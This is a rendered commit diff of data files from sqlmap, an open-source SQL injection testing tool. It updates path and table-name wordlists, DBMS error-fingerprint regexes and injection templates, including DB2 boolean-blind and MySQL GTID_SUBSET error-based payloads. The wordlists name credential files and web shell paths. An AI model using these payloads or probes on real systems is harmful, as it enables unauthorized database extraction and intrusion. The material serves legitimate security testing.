/usr/local/etc/pureftpd.pdb
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/pureftpd/etc/pure-ftpd.conf
/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pure-ftpd/pureftpd.pdb
/var/log/ftp-proxy
/etc/logrotate.d/ftp
/etc/ftpchroot
/etc/ftphosts
/etc/smbpasswd
/etc/smb.conf
/etc/samba/smb.conf
/etc/samba/samba.conf
/etc/samba/smb.conf.user
/etc/samba/smbpasswd
/etc/samba/smbusers
/var/lib/pgsql/data/postgresql.conf
/var/postgresql/db/postgresql.conf
/etc/ipfw.conf
/etc/firewall.rules
/etc/ipfw.rules
/usr/local/etc/webmin/miniserv.conf
/etc/webmin/miniserv.conf
/usr/local/etc/webmin/miniserv.users
/etc/webmin/miniserv.users
/etc/squirrelmail/config/config.php
/etc/squirrelmail/config.php
/etc/httpd/conf.d/squirrelmail.conf
/usr/share/squirrelmail/config/config.php
/private/etc/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
# Web shells
/var/www/html/backdoor.php
/var/www/html/b374k.php
/var/www/html/c99.php
/var/www/html/cmd.php
/var/www/html/r57.php
/var/www/html/shell.php
/var/www/html/wso.php
# Misc
/etc/lib/nfs/etab
/app/app.js
/app/configure.js
/app/config/config.json

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
[Banners] [Banners]

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
users users
@@ -442,6 +442,7 @@ exchange
Status Status
WORKS_ON WORKS_ON
lines lines
testusers
booleantests booleantests
QRTZ_SIMPLE_TRIGGERS QRTZ_SIMPLE_TRIGGERS
mobile_menu mobile_menu
@@ -1618,6 +1619,7 @@ Contributor
flag flag
# Various Joomla tables # Various Joomla tables
jos_vm_product_download jos_vm_product_download
jos_vm_coupons jos_vm_coupons
jos_vm_product_reviews jos_vm_product_reviews
@@ -1711,6 +1713,7 @@ publicusers
cmsusers cmsusers
# List provided by Anastasios Monachos (anastasiosm@gmail.com) # List provided by Anastasios Monachos (anastasiosm@gmail.com)
blacklist blacklist
cost cost
moves moves
@@ -1762,6 +1765,7 @@ TBLCORPUSERS
TBLCORPORATEUSERS TBLCORPORATEUSERS
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
tbladmins tbladmins
sort sort
_wfspro_admin _wfspro_admin
@@ -2048,6 +2052,7 @@ Login
Logins Logins
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
account account
accnts accnts
accnt accnt
@@ -2117,6 +2122,7 @@ user_pwd
user_passwd user_passwd
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
wsop wsop
Admin Admin
Config Config
@@ -2437,9 +2443,11 @@ Affichage1name
sb_host_adminAffichage1name sb_host_adminAffichage1name
# site:jp # site:jp
TypesTab TypesTab
# site:it # site:it
utenti utenti
categorie categorie
attivita attivita
@@ -2581,6 +2589,7 @@ oil_stats_agents
SGA_XPLAN_TPL_DBA_INDEXES SGA_XPLAN_TPL_DBA_INDEXES
# site:fr # site:fr
Avion Avion
departement departement
Compagnie Compagnie
@@ -2751,6 +2760,7 @@ spip_ortho_dico
spip_caches spip_caches
# site:ru # site:ru
guestbook guestbook
binn_forum_settings binn_forum_settings
binn_forms_templ binn_forms_templ
@@ -2848,6 +2858,7 @@ binn_path_temps
order_item order_item
# site:de # site:de
tt_content tt_content
kunde kunde
medien medien
@@ -3010,6 +3021,7 @@ wp_categories
chessmessages chessmessages
# site:br # site:br
endereco endereco
pessoa pessoa
usuarios usuarios
@@ -3172,6 +3184,7 @@ LT_CUSTOM2
LT_CUSTOM3 LT_CUSTOM3
# site:es # site:es
jos_respuestas jos_respuestas
DEPARTAMENTO DEPARTAMENTO
EMPLEADO EMPLEADO
@@ -3210,6 +3223,7 @@ grupo
facturas facturas
# site:cn # site:cn
url url
cdb_adminactions cdb_adminactions
BlockInfo BlockInfo
@@ -3355,6 +3369,7 @@ mymps_mail_sendlist
mymps_navurl mymps_navurl
# site:tr # site:tr
kullanici kullanici
kullanicilar kullanicilar
yonetici yonetici
@@ -3401,6 +3416,7 @@ kontak
kontaklar kontaklar
# List provided by Pedrito Perez (0ark1ang3l@gmail.com) # List provided by Pedrito Perez (0ark1ang3l@gmail.com)
adminstbl adminstbl
admintbl admintbl
affiliateUsers affiliateUsers
@@ -3415,4 +3431,69 @@ userstbl
usertbl usertbl
# WebGoat # WebGoat
user_data user_data
# https://laurent22.github.io/so-injections/
accounts
admin
baza_site
benutzer
category
comments
company
credentials
Customer
customers
data
details
dhruv_users
dt_tb
employees
events
forsale
friends
giorni
images
info
items
kontabankowe
login
logs
markers
members
messages
orders
order_table
photos
player
players
points
register
reports
rooms
shells
signup
songs
student
students
table
table2
tbl_images
tblproduct
testv2
tickets
topicinfo
trabajo
user
user_auth
userinfo
user_info
userregister
users
usuarios
utenti
wm_products
wp_payout_history
zamowienia

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
@@ -259,6 +259,7 @@ YEAR
ZONE ZONE
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) # MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
ADD ADD
ALL ALL
ALTER ALTER
@@ -450,3 +451,424 @@ WITH
WRITEXOR WRITEXOR
YEAR_MONTH YEAR_MONTH
ZEROFILL ZEROFILL
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
ABS
ACOS
ALL
ALLOCATE
ALTER
ANALYSE
ANALYZE
AND
ANY
ARE
ARRAY
ARRAY_AGG
ARRAY_MAX_CARDINALITY
AS
ASC
ASENSITIVE
ASIN
ASYMMETRIC
AT
ATAN
ATOMIC
AUTHORIZATION
AVG
BEGIN
BEGIN_FRAME
BEGIN_PARTITION
BETWEEN
BIGINT
BINARY
BLOB
BOOLEAN
BOTH
BY
CALL
CALLED
CARDINALITY
CASCADED
CASE
CAST
CEIL
CEILING
CHAR
CHARACTER
CHARACTER_LENGTH
CHAR_LENGTH
CHECK
CLASSIFIER
CLOB
CLOSE
COALESCE
COLLATE
COLLATION
COLLECT
COLUMN
COMMIT
CONCURRENTLY
CONDITION
CONNECT
CONSTRAINT
CONTAINS
CONVERT
COPY
CORR
CORRESPONDING
COS
COSH
COUNT
COVAR_POP
COVAR_SAMP
CREATE
CROSS
CUBE
CUME_DIST
CURRENT
CURRENT_CATALOG
CURRENT_DATE
CURRENT_DEFAULT_TRANSFORM_GROUP
CURRENT_PATH
CURRENT_ROLE
CURRENT_ROW
CURRENT_SCHEMA
CURRENT_TIME
CURRENT_TIMESTAMP
CURRENT_TRANSFORM_GROUP_FOR_TYPE
CURRENT_USER
CURSOR
CYCLE
DATALINK
DATE
DAY
DEALLOCATE
DEC
DECFLOAT
DECIMAL
DECLARE
DEFAULT
DEFERRABLE
DEFINE
DELETE
DENSE_RANK
DEREF
DESC
DESCRIBE
DETERMINISTIC
DISCONNECT
DISTINCT
DLNEWCOPY
DLPREVIOUSCOPY
DLURLCOMPLETE
DLURLCOMPLETEONLY
DLURLCOMPLETEWRITE
DLURLPATH
DLURLPATHONLY
DLURLPATHWRITE
DLURLSCHEME
DLURLSERVER
DLVALUE
DO
DOUBLE
DROP
DYNAMIC
EACH
ELEMENT
ELSE
EMPTY
END
END-EXEC
END_FRAME
END_PARTITION
EQUALS
ESCAPE
EVERY
EXCEPT
EXEC
EXECUTE
EXISTS
EXP
EXTERNAL
EXTRACT
FALSE
FETCH
FILTER
FIRST_VALUE
FLOAT
FLOOR
FOR
FOREIGN
FRAME_ROW
FREE
FREEZE
FROM
FULL
FUNCTION
FUSION
GET
GLOBAL
GRANT
GROUP
GROUPING
GROUPS
HAVING
HOLD
HOUR
IDENTITY
ILIKE
IMPORT
IN
INDICATOR
INITIAL
INITIALLY
INNER
INOUT
INSENSITIVE
INSERT
INT
INTEGER
INTERSECT
INTERSECTION
INTERVAL
INTO
IS
ISNULL
JOIN
JSON_ARRAY
JSON_ARRAYAGG
JSON_EXISTS
JSON_OBJECT
JSON_OBJECTAGG
JSON_QUERY
JSON_TABLE
JSON_TABLE_PRIMITIVE
JSON_VALUE
LAG
LANGUAGE
LARGE
LAST_VALUE
LATERAL
LEAD
LEADING
LEFT
LIKE
LIKE_REGEX
LIMIT
LISTAGG
LN
LOCAL
LOCALTIME
LOCALTIMESTAMP
LOG
LOG10
LOWER
MATCH
MATCHES
MATCH_NUMBER
MATCH_RECOGNIZE
MAX
MEASURES
MEMBER
MERGE
METHOD
MIN
MINUTE
MOD
MODIFIES
MODULE
MONTH
MULTISET
NATIONAL
NATURAL
NCHAR
NCLOB
NEW
NO
NONE
NORMALIZE
NOT
NOTNULL
NTH_VALUE
NTILE
NULL
NULLIF
NUMERIC
OCCURRENCES_REGEX
OCTET_LENGTH
OF
OFFSET
OLD
OMIT
ON
ONE
ONLY
OPEN
OR
ORDER
OUT
OUTER
OVER
OVERLAPS
OVERLAY
PARAMETER
PARTITION
PATTERN
PER
PERCENT
PERCENTILE_CONT
PERCENTILE_DISC
PERCENT_RANK
PERIOD
PERMUTE
PLACING
PORTION
POSITION
POSITION_REGEX
POWER
PRECEDES
PRECISION
PREPARE
PRIMARY
PROCEDURE
PTF
RANGE
RANK
READS
REAL
RECURSIVE
REF
REFERENCES
REFERENCING
REGR_AVGX
REGR_AVGY
REGR_COUNT
REGR_INTERCEPT
REGR_R2
REGR_SLOPE
REGR_SXX
REGR_SXY
REGR_SYY
RELEASE
RESULT
RETURN
RETURNING
RETURNS
REVOKE
RIGHT
ROLLBACK
ROLLUP
ROW
ROWS
ROW_NUMBER
RUNNING
SAVEPOINT
SCOPE
SCROLL
SEARCH
SECOND
SEEK
SELECT
SENSITIVE
SESSION_USER
SET
SHOW
SIMILAR
SIN
SINH
SKIP
SMALLINT
SOME
SPECIFIC
SPECIFICTYPE
SQL
SQLEXCEPTION
SQLSTATE
SQLWARNING
SQRT
START
STATIC
STDDEV_POP
STDDEV_SAMP
SUBMULTISET
SUBSET
SUBSTRING
SUBSTRING_REGEX
SUCCEEDS
SUM
SYMMETRIC
SYSTEM
SYSTEM_TIME
SYSTEM_USER
TABLE
TABLESAMPLE
TAN
TANH
THEN
TIME
TIMESTAMP
TIMEZONE_HOUR
TIMEZONE_MINUTE
TO
TRAILING
TRANSLATE
TRANSLATE_REGEX
TRANSLATION
TREAT
TRIGGER
TRIM
TRIM_ARRAY
TRUE
TRUNCATE
UESCAPE
UNION
UNIQUE
UNKNOWN
UNMATCHED
UNNEST
UPDATE
UPPER
USER
USING
VALUE
VALUES
VALUE_OF
VARBINARY
VARCHAR
VARIADIC
VARYING
VAR_POP
VAR_SAMP
VERBOSE
VERSIONING
WHEN
WHENEVER
WHERE
WIDTH_BUCKET
WINDOW
WITH
WITHIN
WITHOUT
XML
XMLAGG
XMLATTRIBUTES
XMLBINARY
XMLCAST
XMLCOMMENT
XMLCONCAT
XMLDOCUMENT
XMLELEMENT
XMLEXISTS
XMLFOREST
XMLITERATE
XMLNAMESPACES
XMLPARSE
XMLPI
XMLQUERY
XMLSERIALIZE
XMLTABLE
XMLTEXT
XMLVALIDATE
YEAR

File diff suppressed because it is too large Load Diff

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Opera # Opera

Binary file not shown.

View File

@@ -83,6 +83,10 @@
<info type="Linux"/> <info type="Linux"/>
</regexp> </regexp>
<regexp value="\bArch\b">
<info type="Linux" distrib="Arch"/>
</regexp>
<regexp value="CentOS"> <regexp value="CentOS">
<info type="Linux" distrib="CentOS"/> <info type="Linux" distrib="CentOS"/>
</regexp> </regexp>
@@ -115,10 +119,22 @@
<info type="Linux" distrib="Mandrake"/> <info type="Linux" distrib="Mandrake"/>
</regexp> </regexp>
<regexp value="Manjaro">
<info type="Linux" distrib="Manjaro"/>
</regexp>
<regexp value="Mandriva"> <regexp value="Mandriva">
<info type="Linux" distrib="Mandriva"/> <info type="Linux" distrib="Mandriva"/>
</regexp> </regexp>
<regexp value="\bMint\b">
<info type="Linux" distrib="Mint"/>
</regexp>
<regexp value="\bPuppy\b">
<info type="Linux" distrib="Puppy"/>
</regexp>
<regexp value="Red[\-\_\ ]?Hat"> <regexp value="Red[\-\_\ ]?Hat">
<info type="Linux" distrib="Red Hat"/> <info type="Linux" distrib="Red Hat"/>
</regexp> </regexp>

View File

@@ -213,6 +213,15 @@ Formats:
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix> <suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary> </boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>%'</prefix>
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
</boundary>
<boundary> <boundary>
<level>2</level> <level>2</level>
<clause>1</clause> <clause>1</clause>

View File

@@ -1,13 +1,14 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<root> <root>
<!-- MySQL -->
<dbms value="MySQL"> <dbms value="MySQL">
<error regexp="SQL syntax.*?MySQL"/> <error regexp="SQL syntax.*?MySQL"/>
<error regexp="Warning.*?\Wmysqli?_"/> <error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/> <error regexp="MySQLSyntaxErrorException"/>
<error regexp="valid MySQL result"/> <error regexp="valid MySQL result"/>
<error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/> <error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/> <error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/> <error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/> <error regexp="com\.mysql\.jdbc"/>
@@ -15,9 +16,11 @@
<error regexp="Pdo[./_\\]Mysql"/> <error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/> <error regexp="MySqlException"/>
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/> <error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
</dbms> </dbms>
<!-- PostgreSQL -->
<dbms value="PostgreSQL"> <dbms value="PostgreSQL">
<error regexp="PostgreSQL.*?ERROR"/> <error regexp="PostgreSQL.*?ERROR"/>
<error regexp="Warning.*?\Wpg_"/> <error regexp="Warning.*?\Wpg_"/>
@@ -33,7 +36,6 @@
<error regexp="PSQLException"/> <error regexp="PSQLException"/>
</dbms> </dbms>
<!-- Microsoft SQL Server -->
<dbms value="Microsoft SQL Server"> <dbms value="Microsoft SQL Server">
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/> <error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
<error regexp="OLE DB.*? SQL Server"/> <error regexp="OLE DB.*? SQL Server"/>
@@ -55,7 +57,6 @@
<error regexp="SQL(Srv|Server)Exception"/> <error regexp="SQL(Srv|Server)Exception"/>
</dbms> </dbms>
<!-- Microsoft Access -->
<dbms value="Microsoft Access"> <dbms value="Microsoft Access">
<error regexp="Microsoft Access (\d+ )?Driver"/> <error regexp="Microsoft Access (\d+ )?Driver"/>
<error regexp="JET Database Engine"/> <error regexp="JET Database Engine"/>
@@ -64,7 +65,6 @@
<error regexp="Syntax error \(missing operator\) in query expression"/> <error regexp="Syntax error \(missing operator\) in query expression"/>
</dbms> </dbms>
<!-- Oracle -->
<dbms value="Oracle"> <dbms value="Oracle">
<error regexp="\bORA-\d{5}"/> <error regexp="\bORA-\d{5}"/>
<error regexp="Oracle error"/> <error regexp="Oracle error"/>
@@ -79,19 +79,18 @@
<error regexp="OracleException"/> <error regexp="OracleException"/>
</dbms> </dbms>
<!-- IBM DB2 -->
<dbms value="IBM DB2"> <dbms value="IBM DB2">
<error regexp="CLI Driver.*?DB2"/> <error regexp="CLI Driver.*?DB2"/>
<error regexp="DB2 SQL error"/> <error regexp="DB2 SQL error"/>
<error regexp="\bdb2_\w+\("/> <error regexp="\bdb2_\w+\("/>
<error regexp="SQLSTATE.+SQLCODE"/> <error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
<error regexp="com\.ibm\.db2\.jcc"/> <error regexp="com\.ibm\.db2\.jcc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/> <error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
<error regexp="Pdo[./_\\]Ibm"/> <error regexp="Pdo[./_\\]Ibm"/>
<error regexp="DB2Exception"/> <error regexp="DB2Exception"/>
<error regexp="ibm_db_dbi\.ProgrammingError"/>
</dbms> </dbms>
<!-- Informix -->
<dbms value="Informix"> <dbms value="Informix">
<error regexp="Warning.*?\Wifx_"/> <error regexp="Warning.*?\Wifx_"/>
<error regexp="Exception.*?Informix"/> <error regexp="Exception.*?Informix"/>
@@ -111,7 +110,6 @@
<error regexp="Pdo[./_\\]Firebird"/> <error regexp="Pdo[./_\\]Firebird"/>
</dbms> </dbms>
<!-- SQLite -->
<dbms value="SQLite"> <dbms value="SQLite">
<error regexp="SQLite/JDBCDriver"/> <error regexp="SQLite/JDBCDriver"/>
<error regexp="SQLite\.Exception"/> <error regexp="SQLite\.Exception"/>
@@ -126,15 +124,15 @@
<error regexp="SQLiteException"/> <error regexp="SQLiteException"/>
</dbms> </dbms>
<!-- SAP MaxDB -->
<dbms value="SAP MaxDB"> <dbms value="SAP MaxDB">
<error regexp="SQL error.*?POS([0-9]+)"/> <error regexp="SQL error.*?POS([0-9]+)"/>
<error regexp="Warning.*?\Wmaxdb_"/> <error regexp="Warning.*?\Wmaxdb_"/>
<error regexp="DriverSapDB"/> <error regexp="DriverSapDB"/>
<error regexp="-3014.*?Invalid end of SQL statement"/>
<error regexp="com\.sap\.dbtech\.jdbc"/> <error regexp="com\.sap\.dbtech\.jdbc"/>
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
</dbms> </dbms>
<!-- Sybase -->
<dbms value="Sybase"> <dbms value="Sybase">
<error regexp="Warning.*?\Wsybase_"/> <error regexp="Warning.*?\Wsybase_"/>
<error regexp="Sybase message"/> <error regexp="Sybase message"/>
@@ -144,7 +142,6 @@
<error regexp="com\.sybase\.jdbc"/> <error regexp="com\.sybase\.jdbc"/>
</dbms> </dbms>
<!-- Ingres -->
<dbms value="Ingres"> <dbms value="Ingres">
<error regexp="Warning.*?\Wingres_"/> <error regexp="Warning.*?\Wingres_"/>
<error regexp="Ingres SQLSTATE"/> <error regexp="Ingres SQLSTATE"/>
@@ -152,21 +149,72 @@
<error regexp="com\.ingres\.gcf\.jdbc"/> <error regexp="com\.ingres\.gcf\.jdbc"/>
</dbms> </dbms>
<!-- Frontbase --> <dbms value="FrontBase">
<dbms value="Frontbase">
<error regexp="Exception (condition )?\d+\. Transaction rollback"/> <error regexp="Exception (condition )?\d+\. Transaction rollback"/>
<error regexp="com\.frontbase\.jdbc"/> <error regexp="com\.frontbase\.jdbc"/>
<error regexp="Syntax error 1. Missing"/>
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
</dbms> </dbms>
<!-- HSQLDB -->
<dbms value="HSQLDB"> <dbms value="HSQLDB">
<error regexp="Unexpected end of command in statement \["/> <error regexp="Unexpected end of command in statement \["/>
<error regexp="Unexpected token.*?in statement \["/> <error regexp="Unexpected token.*?in statement \["/>
<error regexp="org\.hsqldb\.jdbc"/> <error regexp="org\.hsqldb\.jdbc"/>
</dbms> </dbms>
<!-- H2 -->
<dbms value="H2"> <dbms value="H2">
<error regexp="org\.h2\.jdbc"/> <error regexp="org\.h2\.jdbc"/>
<error regexp="\[42000-192\]"/>
</dbms>
<dbms value="MonetDB">
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
<error regexp="\[MonetDB\]\[ODBC Driver"/>
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
</dbms>
<dbms value="Apache Derby">
<error regexp="Syntax error: Encountered"/>
<error regexp="org\.apache\.derby"/>
<error regexp="ERROR 42X01"/>
</dbms>
<dbms value="Vertica">
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
<error regexp="/vertica/Parser/scan"/>
<error regexp="com\.vertica\.jdbc"/>
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
<error regexp="com\.vertica\.dsi\.dataengine"/>
</dbms>
<dbms value="Mckoi">
<error regexp="com\.mckoi\.JDBCDriver"/>
<error regexp="com\.mckoi\.database\.jdbc"/>
<error regexp="&lt;REGEX_LITERAL&gt;"/>
</dbms>
<dbms value="Presto">
<error regexp="com\.facebook\.presto\.jdbc"/>
<error regexp="io\.prestosql\.jdbc"/>
<error regexp="com\.simba\.presto\.jdbc"/>
<error regexp="UNION query has different number of fields: \d+, \d+"/>
</dbms>
<dbms value="Altibase">
<error regexp="Altibase\.jdbc\.driver"/>
</dbms>
<dbms value="MimerSQL">
<error regexp="com\.mimer\.jdbc"/>
<error regexp="Syntax error,[^\n]+assumed to mean"/>
</dbms>
<dbms value="CrateDB">
<error regexp="io\.crate\.client\.jdbc"/>
</dbms>
<dbms value="Cache">
<error regexp="encountered after end of query"/>
<error regexp="A comparison operator is required here"/>
</dbms> </dbms>
</root> </root>

File diff suppressed because it is too large Load Diff

View File

@@ -824,7 +824,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -845,7 +844,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1193,7 +1191,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1214,7 +1211,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1332,6 +1328,44 @@ Tag: <test>
</details> </details>
</test> </test>
<test>
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
<stype>1</stype>
<level>4</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
<stype>1</stype>
<level>5</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- Works in MySQL, Oracle, etc. --> <!-- Works in MySQL, Oracle, etc. -->
<test> <test>
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title> <title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
@@ -1452,7 +1486,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1474,7 +1507,6 @@ Tag: <test>
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>

View File

@@ -91,6 +91,46 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>4</level>
<risk>3</risk>
<clause>1,8,9</clause>
<where>1</where>
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title> <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
<stype>2</stype> <stype>2</stype>
@@ -404,7 +444,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -425,7 +464,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -446,7 +484,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -467,7 +504,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -488,7 +524,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -509,7 +544,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -672,7 +706,7 @@
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>3</level>
